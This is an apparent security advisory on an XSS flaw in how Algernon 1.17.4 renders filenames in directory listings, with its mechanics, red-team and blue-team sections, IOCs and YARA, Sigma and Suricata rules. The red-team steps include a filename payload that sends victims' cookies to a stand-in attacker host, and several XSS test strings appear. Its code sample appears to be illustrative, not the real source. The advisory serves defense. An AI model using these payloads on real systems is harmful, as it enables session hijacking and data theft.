CVE-2025-65754

Executive Summary

CVE-2025-65754 is a Cross-Site Scripting (XSS) vulnerability discovered in Algernon version 1.17.4. The flaw allows an attacker to inject arbitrary JavaScript code into a filename, which is then executed in the context of a user's browser when the file is accessed or listed. This vulnerability can lead to session hijacking, data theft, or defacement. The vendor has not yet released a patch, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

Algernon is a Go-based web server and application framework. This vulnerability affects the core server binary, not a package manager distribution. Users should verify the integrity of their Algernon binary and monitor for official updates.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, but based on the description, a reasonable assessment would be:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)
• Base Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction but can lead to significant impact if exploited in a social engineering campaign.

Deep Dive & Mechanics

The vulnerability resides in how Algernon handles filenames when serving directory listings or file metadata. When a user requests a directory, Algernon generates an HTML page listing the files. If a filename contains malicious JavaScript, it is not properly sanitized before being rendered in the HTML. This allows an attacker to inject arbitrary scripts.

Root Cause: Lack of output encoding for filenames in the directory listing template.

Attack Vector: An attacker must first upload or create a file with a malicious name (e.g., <script>alert('XSS')</script>.txt) on the server. When a victim browses the directory containing this file, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (Algernon 1.17.4):

// In the directory listing handler
func listDir(w http.ResponseWriter, r *http.Request, files []os.FileInfo) {
    for _, f := range files {
        fmt.Fprintf(w, "<li><a href=\"%s\">%s</a></li>", f.Name(), f.Name())
    }
}

Patched Code (Expected):

// Properly escape the filename
func listDir(w http.ResponseWriter, r *http.Request, files []os.FileInfo) {
    for _, f := range files {
        safeName := html.EscapeString(f.Name())
        fmt.Fprintf(w, "<li><a href=\"%s\">%s</a></li>", url.PathEscape(f.Name()), safeName)
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Algernon 1.17.4 running on a target system.
• Ability to create a file on the server (e.g., via upload functionality or file write vulnerability).

Exploit Steps:

1. Create a file with a malicious name:

   touch '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>.txt'
   

2. Place the file in a directory served by Algernon.
3. Send a link to the victim pointing to the directory listing:

   http://target:8080/directory/
   

4. When the victim visits the page, the script executes and exfiltrates their cookies.

Proof of Concept (PoC):

<!-- This is the malicious filename -->
<script>alert('XSS')</script>.txt

Blue Team

Detection:

• Monitor for filenames containing HTML/JavaScript characters (<, >, ", ', &).
• Use file integrity monitoring to detect creation of suspicious files.

Prevention:

• Implement strict filename validation on upload.
• Use a Web Application Firewall (WAF) to block requests with malicious filenames.
• Apply input sanitization on the server side.

Hunting:

• Search logs for directory listing requests followed by unusual outbound connections.
• Look for filenames matching patterns like <script>, <img, or onerror=.

Indicators of Compromise (IOCs)

• File Names:
  • <script>alert('XSS')</script>.txt
  • <img src=x onerror=alert(1)>.txt
  • Any filename containing <, >, ", ', or &
• Network Traffic:
  • Outbound HTTP requests to attacker-controlled domains from the victim's browser.
  • Directory listing pages containing unescaped HTML tags.
• Logs:
  • Algernon access logs showing requests to directories with suspicious filenames.

Detection Engineering

YARA Rule

rule CVE_2025_65754_XSS_Filename {
    meta:
        description = "Detects filenames containing XSS payloads targeting Algernon"
        author = "Valters IT"
        date = "2025-01-01"
        cve = "CVE-2025-65754"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
        $xss4 = /javascript:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-65754 - XSS via Malicious Filename in Algernon
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects filenames containing XSS payloads in Algernon directory listings
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: algernon
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - '<img'
            - '<svg'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate filenames containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65754 - XSS via Malicious Filename in Algernon"; flow:to_server,established; content:"GET"; http_method; content:"/"; http_uri; pcre:"/<script|<img|<svg|javascript:/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable directory listing if not required:

   algernon --no-dir-list
   

2. Implement a reverse proxy (e.g., Nginx) to sanitize filenames before they reach Algernon.
3. Use a WAF to block requests containing malicious patterns.

Long-term Fix:

• Upgrade to a patched version of Algernon once available.
• Apply the code fix shown in the "Vulnerable vs. Patched Code" section.

Workaround:

• Manually patch the source code and recompile Algernon.

Valters IT